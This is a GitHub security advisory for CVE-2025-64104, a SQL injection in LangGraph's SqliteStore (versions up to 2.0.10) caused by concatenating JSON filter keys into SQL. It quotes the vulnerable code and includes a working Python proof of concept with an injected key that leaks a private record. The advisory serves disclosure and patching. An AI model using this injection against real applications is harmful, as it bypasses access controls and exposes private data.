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SQLite Filter Key SQL Injection POC for SqliteStore

High
eyurtsev published GHSA-7p73-8jqx-23r8 Oct 29, 2025

Package

pip langgraph-checkpoint-sqlite (pip)

Affected versions

<=2.0.10

Patched versions

2.0.11

Description

Summary

LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls.

Details

/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py

The key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file.

  filter_conditions.append(
      "json_extract(value, '$."
      + key  # <-- Directly concatenated, no escaping!
      + "') = '"
      + value.replace("'", "''")  # <-- Only value is escaped
      + "'"
  )

Who is affected

This issue affects only developers or projects that directly use the checkpoint-sqlite store.

An application is vulnerable only if it:

  1. Instantiates the SqliteStore from the checkpoint-sqlite package, and
  2. Builds the filter argument using keys derived from untrusted or user-supplied input (such as query parameters, request bodies, or other external data).

If filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply.

Note: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation.

PoC

Complete instructions, including specific configuration details, to reproduce the vulnerability.

#!/usr/bin/env python3
"""Minimal SQLite Key Injection POC for LangGraph"""

from langgraph.store.sqlite import SqliteStore

# Create store with test data
with SqliteStore.from_conn_string(":memory:") as store:
    store.setup()
    
    # Add public and private documents
    store.put(("docs",), "public", {"access": "public", "data": "public info"})
    store.put(("docs",), "private", {"access": "private", "data": "secret", "password": "123"})
    
    # Normal query - returns 1 public document
    normal = store.search(("docs",), filter={"access": "public"})
    print(f"Normal query: {len(normal)} docs")
    
    # SQL injection via malicious key
    malicious_key = "access') = 'public' OR '1'='1' OR json_extract(value, '$."
    injected = store.search(("docs",), filter={malicious_key: "dummy"})
    
    print(f"Injected query: {len(injected)} docs")
    for doc in injected:
        if doc.value.get("access") == "private":
            print(f"LEAKED: {doc.value}")

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

CVE ID

CVE-2025-64104

Weaknesses

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Learn more on MITRE.

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